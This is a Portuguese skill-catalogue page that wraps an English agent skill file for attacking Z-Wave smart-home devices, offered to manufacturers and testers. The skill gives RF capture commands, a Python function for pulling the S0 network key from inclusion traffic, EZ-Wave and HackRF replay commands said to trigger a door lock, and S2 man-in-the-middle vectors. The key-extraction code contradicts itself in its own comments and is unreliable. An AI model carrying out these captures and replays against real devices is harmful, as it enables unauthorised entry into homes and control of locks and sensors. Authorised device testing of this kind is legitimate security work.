z-wave
O que ela faz
Este guia trata de verificações de segurança de dispositivos de casa inteligente Z-Wave, como fechaduras e sensores. Ele é para fabricantes e testadores que querem verificar como essas redes protegem suas chaves.
Quando usar
- ✓Quando um produto de casa inteligente usa Z-Wave e sua classe de segurança precisa ser verificada.
- ✓Quando uma equipe quer saber se um dispositivo aceita comandos sem autenticação.
- ✓Quando o processo de pareamento de um produto pode ser vulnerável a uma tentativa de intermediário.
Link da skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Fabricamos uma fechadura inteligente Z-Wave. Você pode verificar se as proteções de troca de chaves e de pareamento são adequadas?”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
O agente revisa a classe de segurança usada durante a inclusão, verifica se a troca de chaves é protegida e informa onde o pareamento poderia ser interceptado.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
Z-Wave S0/S2 Security Assessment
Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.
Prerequisites
- Hardware:
- RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
- HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
- OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
- Software:
gr-zwave(GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.
Z-Wave Frequency Reference
| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
Phase 1: Passive Capture with RTL-SDR + gr-zwave
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.
Phase 2: S0 Key Extraction During Inclusion
S0 inclusion sequence:
- Controller sends
NETWORK_KEY_SETwith the 16-byte network key XOR'd with the Z-Wave default key0x00×16. - Node acknowledges with
NETWORK_KEY_VERIFY.
Since the default key is all-zeros, the XOR is trivially reversible:
DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
# Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.
# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.
Use Scapy Z-Wave layer to parse frames from pcap:
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)
Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
With HackRF + GNU Radio for raw OOK replay:
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
Phase 4: S2 DSK MITM Analysis
S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:
MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.
Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under
Perguntas frequentes
Qual é a fraqueza antiga principal?
O guia diz que a classe de segurança S0 enviava a chave da rede em texto puro durante a configuração.
O que é o S2?
É a classe de segurança mais nova, que usa uma troca de chaves mais forte, segundo o guia.
O que é a chave específica do dispositivo?
É uma chave usada para confirmar o dispositivo durante a configuração do S2, que precisa ser verificada por um canal fora da rede.
Detalhes
Descrição original do autor
Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
Popularidade
- Estrelas no GitHub
- 6,5 mil
- Posição no ranking
- #14104
- Licença
- Apache-2.0
- Atualizada em
- 01/11/2026
Comentários
- …
Mais skills deste repositório
detector-overview
6,5 milAjuda seu agente a ler o código marcado por um scanner e decidir quais pontos sinalizados são falhas reais de segurança e quais são falsos alarmes.
exploiter-overview
6,5 milAjuda seu agente a combinar várias fraquezas de segurança confirmadas em uma única cadeia de teste e verificar até onde essa cadeia poderia chegar.
llm-redteam-overview
6,5 milAjuda seu agente a encontrar o guia certo de red team de IA para um teste, cobrindo 15 grupos de táticas, da injeção de prompt ao abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica a injeção de prompt, em que instruções ocultas tentam sobrepor-se a um sistema de IA, para que testadores de segurança consigam verificá-la.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.